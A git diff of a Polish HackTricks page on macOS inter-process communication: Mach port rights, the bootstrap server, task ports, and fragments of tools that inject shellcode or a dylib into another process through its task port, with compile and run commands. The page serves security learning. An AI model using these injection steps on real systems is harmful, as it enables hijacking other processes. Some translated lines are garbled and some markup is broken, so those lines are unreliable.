```bash
|
||||
./sender
|
||||
```
|
||||
|
||||
Upewnij się, że masz odpowiednie uprawnienia do korzystania z IPC w systemie macOS. Możesz również dostosować ten kod do swoich własnych potrzeb, zmieniając typ komunikatu i treść wysyłanego komunikatu. {% endtab %}
|
||||
```
|
||||
{% tab title="sender.c" %}Wysyłanie komunikatów IPC za pomocą kolejek komunikatów System V. Ten program tworzy kolejkę komunikatów, wysyła komunikat do kolejki, a następnie usuwa kolejkę. Ten proces jest nadawcą w komunikacji międzyprocesowej. {% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -288,18 +236,18 @@ return 1;
|
|||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
### Porty uprzywilejowane
|
||||
### Przywilejowane porty
|
||||
|
||||
* **Port hosta**: Jeśli proces ma uprawnienie **Wysyłanie** do tego portu, może uzyskać **informacje** o **systemie** (np. `host_processor_info`).
|
||||
* **Port uprzywilejowany hosta**: Proces z prawem **Wysyłanie** do tego portu może wykonywać **działania uprzywilejowane**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* **Port hosta z uprawnieniami roota**: Proces z prawem **Wysyłanie** do tego portu może wykonywać **przywilejowane akcje**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* Ponadto, aby wywołać API **`kext_request`**, konieczne jest posiadanie innych uprawnień **`com.apple.private.kext*`**, które są udzielane tylko binariom Apple.
|
||||
* **Port nazwy zadania**: Nieuprzywilejowana wersja _portu zadania_. Odwołuje się do zadania, ale nie pozwala na jego kontrolę. Jedyną dostępną przez niego rzeczą wydaje się być `task_info()`.
|
||||
* **Port zadania** (znany również jako port jądra)**:** Posiadając uprawnienie Wysyłanie do tego portu, możliwe jest kontrolowanie zadania (odczytywanie/zapisywanie pamięci, tworzenie wątków...).
|
||||
* **Port nazwy zadania:** Nieprzywilejowana wersja _portu zadania_. Odwołuje się do zadania, ale nie pozwala na jego kontrolę. Jedyną dostępną przez niego rzeczą wydaje się być `task_info()`.
|
||||
* **Port zadania** (znany również jako port jądra)**:** Posiadając uprawnienie Wysyłanie do tego portu, możliwe jest kontrolowanie zadania (odczyt/zapis pamięci, tworzenie wątków...).
|
||||
* Wywołaj `mach_task_self()` aby **uzyskać nazwę** tego portu dla zadania wywołującego. Ten port jest dziedziczony tylko podczas **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (jako szczególny przypadek, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) podczas `fork()`.
|
||||
* Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego pliku `AppleMobileFileIntegrity`):
|
||||
* Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy z **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zazwyczaj dodawane przez Xcode do debugowania). Proces notaryzacji nie zezwoli na to w wersjach produkcyjnych.
|
||||
* Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywane to było **`task_for_pid-allow`**. Jest to udzielane tylko aplikacjom Apple.
|
||||
* **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **zabezpieczonym** czasem wykonania (i nie od Apple).
|
||||
* Oto ograniczenia dostępu do portu (z `macos_task_policy` z binariatu `AppleMobileFileIntegrity`):
|
||||
* Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy od **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zazwyczaj dodawane przez Xcode do debugowania). Proces notaryzacji nie zezwoli na to w wersjach produkcyjnych.
|
||||
* Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywane to było **`task_for_pid-allow`**. Udzielane jest to tylko aplikacjom Apple.
|
||||
* **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **zabezpieczonym** środowiskiem wykonawczym (i nie pochodzących od Apple).
|
||||
|
||||
### Wstrzykiwanie kodu shell w wątek za pomocą portu zadania
|
||||
|
||||
|
@ -342,31 +290,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, and Distributed Objects. Understanding how these mechanisms work is crucial for both developers and security professionals.
|
||||
|
||||
#### Mach Ports
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. They are used by the system and applications for various purposes, such as inter-process communication and synchronization.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC (XPCOM) is a lightweight inter-process communication mechanism introduced in macOS. It allows processes to create and manage services that run in their own address space. XPC services are commonly used by applications to perform tasks in the background or handle privileged operations.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism on macOS that allows objects to be passed between processes. It enables remote procedure calls and object serialization, making it easier for processes to interact with each other.
|
||||
|
||||
Understanding how these IPC mechanisms work and their security implications is crucial for securing macOS systems and preventing privilege escalation attacks. Developers should follow best practices when implementing IPC in their applications to ensure data integrity and confidentiality.
|
||||
|
||||
### References
|
||||
|
||||
- [Apple Developer Documentation on Inter-Process Communication](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="entitlements.plist" %}Wnioskowania o uprawnienia w systemie macOS są przechowywane w pliku `entitlements.plist`. Ten plik zawiera informacje o uprawnieniach wymaganych przez aplikację do korzystania z określonych zasobów systemowych, takich jak dostęp do aparatu, mikrofonu, lokalizacji itp. Poprawne zarządzanie uprawnieniami w pliku `entitlements.plist` jest kluczowe dla zapewnienia bezpieczeństwa aplikacji i systemu macOS.{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -379,7 +303,7 @@ Understanding how these IPC mechanisms work and their security implications is c
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia** umożliwiające wstrzykiwanie kodu przez tego samego użytkownika (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia** umożliwiające wstrzykiwanie kodu z tym samym użytkownikiem (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -580,7 +504,7 @@ inject(pid);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</szczegóły>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
|
@ -591,9 +515,9 @@ W systemie macOS **wątki** mogą być manipulowane za pomocą **Mach** lub za p
|
|||
|
||||
Było możliwe **wstrzyknięcie prostego shellcode'u** do wykonania polecenia, ponieważ **nie było konieczne korzystanie z api zgodnego z posix**, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
|
||||
Dlatego, aby **ulepszyć wątek**, należy wywołać **`pthread_create_from_mach_thread`**, który **utworzy prawidłowy wątek pthread**. Następnie ten nowy wątek pthread może **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy shellcode do wykonania różnych działań, można załadować niestandardowe biblioteki.
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, który **utworzy poprawny wątek pthread**. Następnie ten nowy wątek pthread mógłby **wywołać dlopen**, aby **załadować dyliba** z systemu, więc zamiast pisania nowego shellcode'u do wykonywania różnych działań, można załadować niestandardowe biblioteki.
|
||||
|
||||
Możesz znaleźć **przykładowe dyliby** (na przykład taki, który generuje logi, które można później odczytać) w:
|
||||
Możesz znaleźć **przykładowe dyliby** w (na przykład ten, który generuje logi, które można potem odsłuchać):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -801,7 +725,7 @@ return (-3);
|
|||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
```plaintext
|
||||
```c
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -810,7 +734,7 @@ fprintf(stderr,"Nie można ustawić uprawnień pamięci dla kodu zdalnego wątku
|
|||
return (-4);
|
||||
}
|
||||
|
||||
// Ustawienie uprawnień na przydzielonej pamięci stosu
|
||||
// Ustaw uprawnienia na przydzielonej pamięci stosu
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -820,7 +744,7 @@ return (-4);
|
|||
}
|
||||
|
||||
|
||||
// Utworzenie wątku do uruchomienia shellcode'u
|
||||
// Utwórz wątek do uruchomienia shellcode'u
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
|
@ -856,7 +780,7 @@ int main(int argc, const char * argv[])
|
|||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Użycie: %s _pid_ _akcja_\n", argv[0]);
|
||||
fprintf (stderr, " _akcja_: ścieżka do pliku dylib na dysku\n");
|
||||
fprintf (stderr, " _akcja_: ścieżka do dylib na dysku\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -873,27 +797,7 @@ fprintf(stderr,"Dylib nie znaleziony\n");
|
|||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Mach Ports
|
||||
|
||||
Mach ports are endpoints for inter-process communication in macOS. They are used by processes to send messages and data to each other. Mach ports are a fundamental part of the macOS architecture and are essential for various system functions.
|
||||
|
||||
### XPC Services
|
||||
|
||||
XPC (XPC Services) is a lightweight inter-process communication mechanism used in macOS. XPC allows processes to communicate with each other in a secure and efficient manner. XPC services are commonly used for performing tasks that require elevated privileges or for isolating potentially risky operations.
|
||||
|
||||
### Distributed Objects
|
||||
|
||||
Distributed Objects is another inter-process communication mechanism in macOS that allows objects to be passed between processes. It enables communication between applications running on the same system or on different systems. Distributed Objects simplifies the development of distributed applications on macOS.
|
||||
|
||||
### NSXPCConnection
|
||||
|
||||
NSXPCConnection is a class in macOS that facilitates communication between processes using XPC. It provides a high-level interface for creating and managing XPC connections. NSXPCConnection abstracts the complexity of XPC and simplifies the implementation of secure inter-process communication in macOS applications.
|
||||
|
||||
Understanding these inter-process communication mechanisms is crucial for developing secure and efficient macOS applications. By leveraging these mechanisms properly, developers can ensure that their applications communicate effectively while maintaining the integrity and security of the system.
|
||||
</szczegóły>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
|
@ -910,7 +814,7 @@ W tej technice przechwytywany jest wątek procesu:
|
|||
|
||||
### Podstawowe informacje
|
||||
|
||||
XPC, co oznacza XNU (jądro używane przez macOS) Komunikację Międzyprocesową, to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm dokonywania **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest to część paradygmatu bezpieczeństwa Apple, pozwalająca na **tworzenie aplikacji z podziałem uprawnień**, gdzie każdy **komponent** działa tylko z **uprawnieniami, których potrzebuje** do wykonania swojej pracy, ograniczając tym samym potencjalne szkody wynikające z skompromitowanego procesu.
|
||||
XPC, co oznacza komunikację międzyprocesową XNU (jądro używane przez macOS), to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm do **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest to część paradygmatu bezpieczeństwa Apple, pozwalająca na **tworzenie aplikacji z podziałem uprawnień**, gdzie każdy **komponent** działa tylko z **uprawnieniami, których potrzebuje** do wykonania swojej pracy, ograniczając tym samym potencjalne szkody wynikające z skompromitowanego procesu.
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i jak **może być podatna**, sprawdź:
|
||||
|
||||
|
@ -918,9 +822,9 @@ Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i
|
|||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Generator Interfejsu Mach
|
||||
## MIG - Generator interfejsu Mach
|
||||
|
||||
MIG został stworzony, aby **uproszczyć proces tworzenia kodu IPC Mach**. W zasadzie **generuje wymagany kod** do komunikacji serwera i klienta z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, deweloper będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
MIG został stworzony, aby **uproszczyć proces tworzenia kodu IPC Mach**. W zasadzie **generuje wymagany kod** do komunikacji między serwerem a klientem z określoną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -33,17 +33,17 @@ Proces może również wysłać nazwę portu z pewnymi uprawnieniami **do innego
|
|||
Prawa portu, które określają, jakie operacje może wykonać zadanie, są kluczowe dla tej komunikacji. Możliwe **prawa portu** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Prawo odbierania**, które pozwala na odbieranie wiadomości wysłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że może istnieć tylko **jedno prawo odbierania dla każdego portu** w całym systemie (w przeciwieństwie do potoków, gdzie wiele procesów może trzymać deskryptory plików do końca odczytu jednego potoku).
|
||||
* **Zadanie z prawem odbierania** może odbierać wiadomości i **tworzyć prawa wysyłania**, pozwalając na wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbierania nad swoim portem**.
|
||||
* Zadanie z prawem odbierania może odbierać wiadomości i **tworzyć prawa wysyłania**, pozwalając na wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbierania nad swoim portem**.
|
||||
* Jeśli właściciel prawa odbierania **umiera** lub je zabija, **prawo wysyłania staje się bezużyteczne (martwa nazwa).**
|
||||
* **Prawo wysyłania**, które pozwala na wysyłanie wiadomości do portu.
|
||||
* Prawo wysyłania można **klonować**, więc zadanie posiadające prawo wysyłania może sklonować prawo i **przyznać je trzeciemu zadaniu**.
|
||||
* Prawo wysyłania można **klonować**, więc zadanie posiadające prawo wysyłania może sklonować prawo i **przekazać je trzeciemu zadaniu**.
|
||||
* Zauważ, że **prawa portu** mogą również być **przekazywane** za pomocą wiadomości Mac.
|
||||
* **Prawo wysłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie zniknie.
|
||||
* To prawo **nie** może być **sklonowane**, ale można je **przenieść**.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usunięcie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych portów. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unixie.
|
||||
* **Martwa nazwa**, która nie jest faktycznym prawem portu, ale jedynie miejscem. Gdy port zostanie zniszczony, wszystkie istniejące prawa portu do portu zamieniają się w martwe nazwy.
|
||||
* To prawo **nie może** być **sklonowane**, ale można je **przenieść**.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usuwanie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych portów. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unix.
|
||||
* **Martwa nazwa**, która nie jest faktycznym prawem portu, ale jedynie miejscem. Gdy port jest niszczony, wszystkie istniejące prawa portu do portu zamieniają się w martwe nazwy.
|
||||
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA mogą również być klonowane, więc zadanie może zduplikować i dać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer startowy**, umożliwia efektywną komunikację między zadaniami.
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA mogą również być klonowane, więc zadanie może zduplikować i przekazać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer startowy**, umożliwia efektywną komunikację między zadaniami.
|
||||
|
||||
### Porty plików
|
||||
|
||||
|
@ -62,31 +62,31 @@ W tym celu zaangażowany jest **serwer startowy** (**launchd** w systemie Mac),
|
|||
4. Zadanie A wysyła wiadomość `bootstrap_register` do serwera startowego, aby **powiązać dany port z nazwą** jak `com.apple.taska`
|
||||
5. Zadanie **B** współdziała z **serwerem startowym**, aby wykonać **wyszukiwanie startowe dla nazwy usługi** (`bootstrap_lookup`). Aby serwer startowy mógł odpowiedzieć, zadanie B wyśle mu **prawo WYSYŁANIA do portu, które wcześniej utworzyło** wewnątrz wiadomości wyszukiwania. Jeśli wyszukiwanie jest udane, **serwer duplikuje prawo WYSYŁANIA** otrzymane od zadania A i **przekazuje je zadaniu B**.
|
||||
* Pamiętaj, że każdy może uzyskać prawo WYSYŁANIA do serwera startowego.
|
||||
6. Dzięki temu prawu WYSYŁANIA, **Zadanie B** jest zdolne do **wysłania** **wiadomości** **do Zadania A**.
|
||||
7. Dla komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z prawem **ODBIERANIA** i prawem **WYSYŁANIA**, i daje **prawo WYSYŁANIA do Zadania A**, aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
6. Dzięki temu prawu WYSYŁANIA, **Zadanie B** jest zdolne do **wysłania wiadomości do Zadania A**.
|
||||
7. Dla komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z prawem **ODBIERANIA** i prawem **WYSYŁANIA**, a daje **prawo WYSYŁANIA Zadaniu A**, aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
|
||||
Serwer startowy **nie może uwierzytelnić** nazwy usługi twierdzonej przez zadanie. Oznacza to, że **zadanie** potencjalnie mogłoby **podawać się za dowolne zadanie systemowe**, na przykład fałszywie **twierdząc nazwę usługi autoryzacji**, a następnie zatwierdzając każde żądanie.
|
||||
Serwer startowy **nie może uwierzytelnić** nazwy usługi twierdzonej przez zadanie. Oznacza to, że **zadanie** potencjalnie **mogłoby podszyć się pod dowolne zadanie systemowe**, na przykład fałszywie **twierdząc nazwę usługi autoryzacji**, a następnie zatwierdzając każde żądanie.
|
||||
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w bezpiecznych plikach konfiguracyjnych, znajdujących się w chronionych przez SIP katalogach: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer startowy utworzy i będzie trzymał **prawo ODBIERANIA dla każdej z tych nazw usług**.
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w bezpiecznych plikach konfiguracyjnych, znajdujących się w chronionych katalogach SIP: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer startowy utworzy i będzie trzymał **prawo ODBIERANIA dla każdej z tych nazw usług**.
|
||||
|
||||
Dla tych predefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy schemat postępowania wygląda następująco:
|
||||
Dla tych predefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy proces wygląda następująco:
|
||||
|
||||
* Zadanie **B** inicjuje **wyszukiwanie startowe** dla nazwy usługi.
|
||||
* **launchd** sprawdza, czy zadanie jest uruchomione, i jeśli nie, **uruchamia** je.
|
||||
* Zadanie **A** (usługa) wykonuje **rejestrację startową** (`bootstrap_check_in()`). Tutaj **serwer startowy** tworzy prawo WYSYŁANIA, zatrzymuje je i **przekazuje prawo ODBIERANIA do Zadania A**.
|
||||
* Zadanie **A** (usługa) wykonuje **rejestrację startową** (`bootstrap_check_in()`). Tutaj **serwer startowy tworzy prawo WYSYŁANIA, zatrzymuje je i przekazuje prawo ODBIERANIA Zadaniu A**.
|
||||
* launchd duplikuje **prawo WYSYŁANIA i wysyła je do Zadania B**.
|
||||
* Zadanie **B** generuje nowy port z prawem **ODBIERANIA** i prawem **WYSYŁANIA**, i daje **prawo WYSYŁANIA do Zadania A** (usługi), aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
* Zadanie **B** generuje nowy port z prawem **ODBIERANIA** i prawem **WYSYŁANIA**, a daje **prawo WYSYŁANIA Zadaniu A** (usłudze), aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
|
||||
Jednak ten proces dotyczy tylko predefiniowanych zadań systemowych. Zadania spoza systemu wciąż działają zgodnie z opisem pierwotnym, co potencjalnie mogłoby pozwolić na podawanie się za inne zadania.
|
||||
Jednak ten proces dotyczy tylko predefiniowanych zadań systemowych. Zadania spoza systemu nadal działają zgodnie z pierwotnym opisem, co potencjalnie może pozwolić na podszywanie się.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dlatego launchd nie powinien nigdy ulec awarii, w przeciwnym razie cały system ulegnie awarii.
|
||||
{% endhint %}
|
||||
### Komunikat Mach
|
||||
### Wiadomość Mach
|
||||
|
||||
[Znajdź więcej informacji tutaj](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Funkcja `mach_msg`, będąca w zasadzie wywołaniem systemowym, jest wykorzystywana do wysyłania i odbierania komunikatów Mach. Funkcja wymaga, aby komunikat został przesłany jako argument początkowy. Ten komunikat musi rozpoczynać się od struktury `mach_msg_header_t`, po której następuje właściwa zawartość komunikatu. Struktura jest zdefiniowana następująco:
|
||||
Funkcja `mach_msg`, będąca w zasadzie wywołaniem systemowym, jest wykorzystywana do wysyłania i odbierania wiadomości Mach. Funkcja wymaga, aby wiadomość została wysłana jako argument początkowy. Wiadomość ta musi rozpoczynać się od struktury `mach_msg_header_t`, po której następuje właściwa zawartość wiadomości. Struktura ta jest zdefiniowana następująco:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -97,17 +97,17 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesy posiadające _**prawo odbierania**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania jednorazowego**_. Prawo wysłania jednorazowego służy wyłącznie do wysłania pojedynczej wiadomości, po czym staje się nieważne.
|
||||
Procesy posiadające _**prawo odbierania**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania raz**_. Prawo wysłania raz służy wyłącznie do wysłania pojedynczej wiadomości, po czym staje się nieważne.
|
||||
|
||||
Początkowe pole **`msgh_bits`** to mapa bitowa:
|
||||
|
||||
* Pierwszy bit (najbardziej znaczący) służy do wskazania, czy wiadomość jest złożona (więcej informacji poniżej)
|
||||
* 3. i 4. bit są używane przez jądro systemu
|
||||
* **5 najmniej znaczących bitów 2. bajtu** mogą być używane do **bonu**: innego rodzaju portu do wysyłania kombinacji klucz/wartość.
|
||||
* **5 najmniej znaczących bitów 3. bajtu** mogą być używane do **portu lokalnego**
|
||||
* **5 najmniej znaczących bitów 4. bajtu** mogą być używane do **portu zdalnego**
|
||||
* 3. i 4. bit są używane przez jądro
|
||||
* **5 najmniej znaczących bitów 2. bajtu** mogą być używane do **voucher**: innego rodzaju portu do wysyłania kombinacji klucz/wartość.
|
||||
* **5 najmniej znaczących bitów 3. bajtu** mogą być używane do **lokalnego portu**
|
||||
* **5 najmniej znaczących bitów 4. bajtu** mogą być używane do **zdalnego portu**
|
||||
|
||||
Typy, które można określić w bonie oraz portach lokalnym i zdalnym to (z [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
Typy, które można określić w voucherze, lokalnych i zdalnych portach to (z [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
```c
|
||||
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
|
||||
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
|
||||
|
@ -120,7 +120,7 @@ Typy, które można określić w bonie oraz portach lokalnym i zdalnym to (z [**
|
|||
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
|
||||
```
|
||||
Na przykład `MACH_MSG_TYPE_MAKE_SEND_ONCE` można użyć do **wskazania**, że **prawo do jednorazowego wysłania** powinno być wygenerowane i przesłane dla tego portu. Można także określić `MACH_PORT_NULL`, aby uniemożliwić odbiorcy odpowiedź.
|
||||
Na przykład `MACH_MSG_TYPE_MAKE_SEND_ONCE` można użyć do **wskazania**, że **prawo do jednorazowego wysłania** powinno zostać wygenerowane i przesłane dla tego portu. Można także określić `MACH_PORT_NULL`, aby uniemożliwić odbiorcy odpowiedź.
|
||||
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku mach o nazwie _port odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość.
|
||||
|
||||
|
@ -136,12 +136,12 @@ Pozostałe pola nagłówka wiadomości to:
|
|||
* `msgh_id`: ID tej wiadomości, który jest interpretowany przez odbiorcę.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że **wiadomości mach są wysyłane przez `port mach`**, który jest kanałem komunikacji **jednego odbiorcy** i **wielu nadawców** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w dowolnym momencie tylko **jeden proces może odczytać** z niego.
|
||||
Zauważ, że **wiadomości mach są wysyłane przez `port mach`**, który jest **kanałem komunikacyjnym jednego odbiorcy** i **wielu nadawców** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w dowolnym momencie tylko **jeden proces może je czytać**.
|
||||
{% endhint %}
|
||||
|
||||
Wiadomości są następnie tworzone przez nagłówek **`mach_msg_header_t`**, a następnie przez **ciało** i **stopkę** (jeśli istnieje), która może udzielić zgody na odpowiedź. W tych przypadkach jądro musi tylko przekazać wiadomość z jednego zadania do drugiego.
|
||||
